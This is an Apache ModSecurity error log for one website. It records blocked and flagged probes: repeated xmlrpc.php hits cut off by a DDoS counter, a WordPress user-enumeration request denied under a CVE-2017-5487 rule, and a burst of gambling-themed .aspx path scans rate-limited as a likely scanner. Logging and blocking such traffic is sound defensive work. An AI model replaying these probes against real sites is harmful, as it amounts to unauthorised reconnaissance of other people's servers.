[Mon Apr 06 23:55:48.211155 2026] [:error] [pid 35786:tid 35814] [client 34.10.253.102:54484] [client 34.10.253.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.253.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXhGgkfCKTaLhwaKQ3kAAAANU"]
[Mon Apr 06 23:55:51.874208 2026] [:error] [pid 35786:tid 35816] [client 34.10.253.102:54484] [client 34.10.253.102] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "adPXh2gkfCKTaLhwaKQ3mQAAANc"]
[Mon Apr 06 23:55:53.702564 2026] [:error] [pid 35786:tid 35815] [client 34.10.253.102:54484] [client 34.10.253.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.253.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXiWgkfCKTaLhwaKQ3oAAAANY"]
[Mon Apr 06 23:55:55.665881 2026] [:error] [pid 1827:tid 1834] [client 34.10.253.102:53732] [client 34.10.253.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.253.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXi-Veb6S_DnjZ2xFKQwAAAgU"]
[Mon Apr 06 23:55:57.541267 2026] [:error] [pid 38562:tid 38572] [client 34.10.253.102:62072] [client 34.10.253.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.253.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXjaeD6Ohe6wzRuy7JgQAAAUc"]
[Mon Apr 06 23:55:59.461736 2026] [:error] [pid 38562:tid 38583] [client 34.10.253.102:60941] [client 34.10.253.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.253.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXj6eD6Ohe6wzRuy7JjQAAAVI"]
[Mon Apr 06 23:56:01.391675 2026] [:error] [pid 35687:tid 35734] [client 34.10.253.102:56358] [client 34.10.253.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.253.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXkZ3LtDozV0i8BiuSgAAAAEs"]
[Mon Apr 06 23:56:01.391784 2026] [:error] [pid 35687:tid 35734] [client 34.10.253.102:56358] [client 34.10.253.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.10.253.102, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adPXkZ3LtDozV0i8BiuSgAAAAEs"]
[Tue Apr 07 00:30:52.365676 2026] [:error] [pid 35686:tid 35709] [client 43.156.202.34:36222] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adPfvMMKdea6oORd2fwKdQAAAA0"]
[Tue Apr 07 03:02:51.225174 2026] [:error] [pid 39330:tid 39453] [client 147.135.128.94:54164] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adQDW3Xef-xW6Zktbj_SwwAAAJY"]
[Tue Apr 07 03:02:53.558082 2026] [:error] [pid 39330:tid 39444] [client 147.135.128.94:55694] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adQDXXXef-xW6Zktbj_SxAAAAI0"]
[Tue Apr 07 03:02:55.783320 2026] [:error] [pid 39328:tid 39334] [client 147.135.128.94:55700] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adQDXzhTc4A7DPq5yJiHZgAAAAI"]
[Tue Apr 07 03:02:57.795436 2026] [:error] [pid 39330:tid 39441] [client 147.135.128.94:47166] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adQDYXXef-xW6Zktbj_SxwAAAIo"]
[Tue Apr 07 03:02:59.702805 2026] [:error] [pid 39330:tid 39436] [client 147.135.128.94:47170] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adQDY3Xef-xW6Zktbj_SyAAAAIY"]
[Tue Apr 07 03:03:01.871990 2026] [:error] [pid 39329:tid 39418] [client 147.135.128.94:47186] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adQDZVb3ztKMBQDfFBy-KwAAAFA"]
[Tue Apr 07 03:03:03.867003 2026] [:error] [pid 39329:tid 39426] [client 147.135.128.94:47200] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adQDZ1b3ztKMBQDfFBy-MAAAAFg"]
[Tue Apr 07 03:03:05.813772 2026] [:error] [pid 55003:tid 55023] [client 147.135.128.94:47214] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adQDaQiMyAbcUkWpJeAzaAAAARA"]
[Tue Apr 07 03:03:07.625181 2026] [:error] [pid 55003:tid 55011] [client 147.135.128.94:42092] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adQDawiMyAbcUkWpJeAzcAAAAQQ"]
[Tue Apr 07 03:03:09.493142 2026] [:error] [pid 55003:tid 55026] [client 147.135.128.94:42108] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adQDbQiMyAbcUkWpJeAzfAAAARM"]
[Tue Apr 07 03:03:11.468992 2026] [:error] [pid 55003:tid 55029] [client 147.135.128.94:42120] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adQDbwiMyAbcUkWpJeAzgwAAARY"]
[Tue Apr 07 03:03:13.479988 2026] [:error] [pid 39748:tid 39764] [client 147.135.128.94:42130] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adQDcSgic31vPbqmSIrnGAAAAMk"]
[Tue Apr 07 03:03:15.330661 2026] [:error] [pid 39329:tid 39411] [client 147.135.128.94:42146] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adQDc1b3ztKMBQDfFBy-PwAAAEk"]
[Tue Apr 07 03:03:17.275581 2026] [:error] [pid 39330:tid 39448] [client 147.135.128.94:55454] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adQDdXXef-xW6Zktbj_S4gAAAJE"]
[Tue Apr 07 03:03:19.078327 2026] [:error] [pid 39329:tid 39424] [client 147.135.128.94:55458] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adQDd1b3ztKMBQDfFBy-RAAAAFY"]
[Tue Apr 07 03:03:20.850857 2026] [:error] [pid 39748:tid 39775] [client 147.135.128.94:55460] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adQDeCgic31vPbqmSIrnIAAAANQ"]
[Tue Apr 07 03:03:22.774839 2026] [:error] [pid 39748:tid 39778] [client 147.135.128.94:55468] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adQDeigic31vPbqmSIrnJgAAANc"]
[Tue Apr 07 03:03:24.750388 2026] [:error] [pid 39748:tid 39767] [client 147.135.128.94:55474] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adQDfCgic31vPbqmSIrnKgAAAMw"]
[Tue Apr 07 03:03:26.673820 2026] [:error] [pid 39748:tid 39755] [client 147.135.128.94:55490] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adQDfigic31vPbqmSIrnMwAAAMA"]
[Tue Apr 07 03:03:28.602175 2026] [:error] [pid 39748:tid 39776] [client 147.135.128.94:36482] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adQDgCgic31vPbqmSIrnPwAAANU"]
[Tue Apr 07 03:03:30.562848 2026] [:error] [pid 55003:tid 55027] [client 147.135.128.94:36498] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adQDggiMyAbcUkWpJeAzvQAAARQ"]
[Tue Apr 07 03:03:32.637577 2026] [:error] [pid 55003:tid 55007] [client 147.135.128.94:36504] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adQDhAiMyAbcUkWpJeAzywAAAQA"]
[Tue Apr 07 03:03:34.726154 2026] [:error] [pid 39330:tid 39453] [client 147.135.128.94:36518] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adQDhnXef-xW6Zktbj_S-QAAAJY"]
[Tue Apr 07 03:03:36.467018 2026] [:error] [pid 39329:tid 39411] [client 147.135.128.94:36532] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adQDiFb3ztKMBQDfFBy-VgAAAEk"]
[Tue Apr 07 03:03:38.369566 2026] [:error] [pid 39329:tid 39426] [client 147.135.128.94:40248] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adQDilb3ztKMBQDfFBy-VwAAAFg"]
[Tue Apr 07 03:03:40.174012 2026] [:error] [pid 55003:tid 55023] [client 147.135.128.94:40250] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adQDjAiMyAbcUkWpJeAz2gAAARA"]
[Tue Apr 07 03:03:42.088926 2026] [:error] [pid 39329:tid 39415] [client 147.135.128.94:40260] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adQDjlb3ztKMBQDfFBy-XAAAAE0"]
[Tue Apr 07 03:03:44.003665 2026] [:error] [pid 39330:tid 39443] [client 147.135.128.94:40266] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adQDkHXef-xW6Zktbj_TCgAAAIw"]
[Tue Apr 07 03:03:45.955573 2026] [:error] [pid 55003:tid 55025] [client 147.135.128.94:40268] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "adQDkQiMyAbcUkWpJeAz7wAAARI"]
[Tue Apr 07 03:04:21.298168 2026] [:error] [pid 39329:tid 39406] [client 147.135.128.94:39614] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adQDtVb3ztKMBQDfFBy-hQAAAEQ"]
[Tue Apr 07 03:04:23.267562 2026] [:error] [pid 39748:tid 39765] [client 147.135.128.94:54838] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adQDtygic31vPbqmSIrnxAAAAMo"]
[Tue Apr 07 03:04:25.332804 2026] [:error] [pid 39329:tid 39413] [client 147.135.128.94:54840] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adQDuVb3ztKMBQDfFBy-igAAAEs"]
[Tue Apr 07 03:04:27.360702 2026] [:error] [pid 55003:tid 55024] [client 147.135.128.94:41604] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adQDuwiMyAbcUkWpJeA0pQAAARE"]
[Tue Apr 07 03:04:29.272205 2026] [:error] [pid 55003:tid 55013] [client 147.135.128.94:41618] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adQDvQiMyAbcUkWpJeA0twAAAQY"]
[Tue Apr 07 03:04:31.305174 2026] [:error] [pid 39330:tid 39454] [client 147.135.128.94:41632] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adQDv3Xef-xW6Zktbj_TUAAAAJc"]
[Tue Apr 07 03:04:33.182473 2026] [:error] [pid 39748:tid 39776] [client 147.135.128.94:41634] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adQDwSgic31vPbqmSIrn2AAAANU"]
[Tue Apr 07 03:04:35.202781 2026] [:error] [pid 39748:tid 39778] [client 147.135.128.94:41646] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adQDwygic31vPbqmSIrn3AAAANc"]
[Tue Apr 07 03:04:37.112322 2026] [:error] [pid 55003:tid 55024] [client 147.135.128.94:41652] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adQDxQiMyAbcUkWpJeA0yQAAARE"]
[Tue Apr 07 03:04:39.131847 2026] [:error] [pid 39329:tid 39404] [client 147.135.128.94:44534] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adQDx1b3ztKMBQDfFBy-mwAAAEI"]
[Tue Apr 07 03:04:41.157332 2026] [:error] [pid 39330:tid 39436] [client 147.135.128.94:44540] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adQDyXXef-xW6Zktbj_TYAAAAIY"]
[Tue Apr 07 03:04:43.045951 2026] [:error] [pid 39748:tid 39756] [client 147.135.128.94:44542] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adQDyygic31vPbqmSIrn9gAAAME"]
[Tue Apr 07 03:04:45.065215 2026] [:error] [pid 39330:tid 39444] [client 147.135.128.94:44550] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adQDzXXef-xW6Zktbj_TZAAAAI0"]
[Tue Apr 07 03:04:47.125763 2026] [:error] [pid 39329:tid 39421] [client 147.135.128.94:44558] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adQDz1b3ztKMBQDfFBy-pAAAAFM"]
[Tue Apr 07 03:04:49.160938 2026] [:error] [pid 39748:tid 39771] [client 147.135.128.94:59480] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adQD0Sgic31vPbqmSIroCQAAANA"]
[Tue Apr 07 03:04:51.043890 2026] [:error] [pid 55003:tid 55027] [client 147.135.128.94:59484] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adQD0wiMyAbcUkWpJeA07QAAARQ"]
[Tue Apr 07 03:04:53.060380 2026] [:error] [pid 39328:tid 39341] [client 147.135.128.94:59490] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adQD1ThTc4A7DPq5yJiIXgAAAAk"]
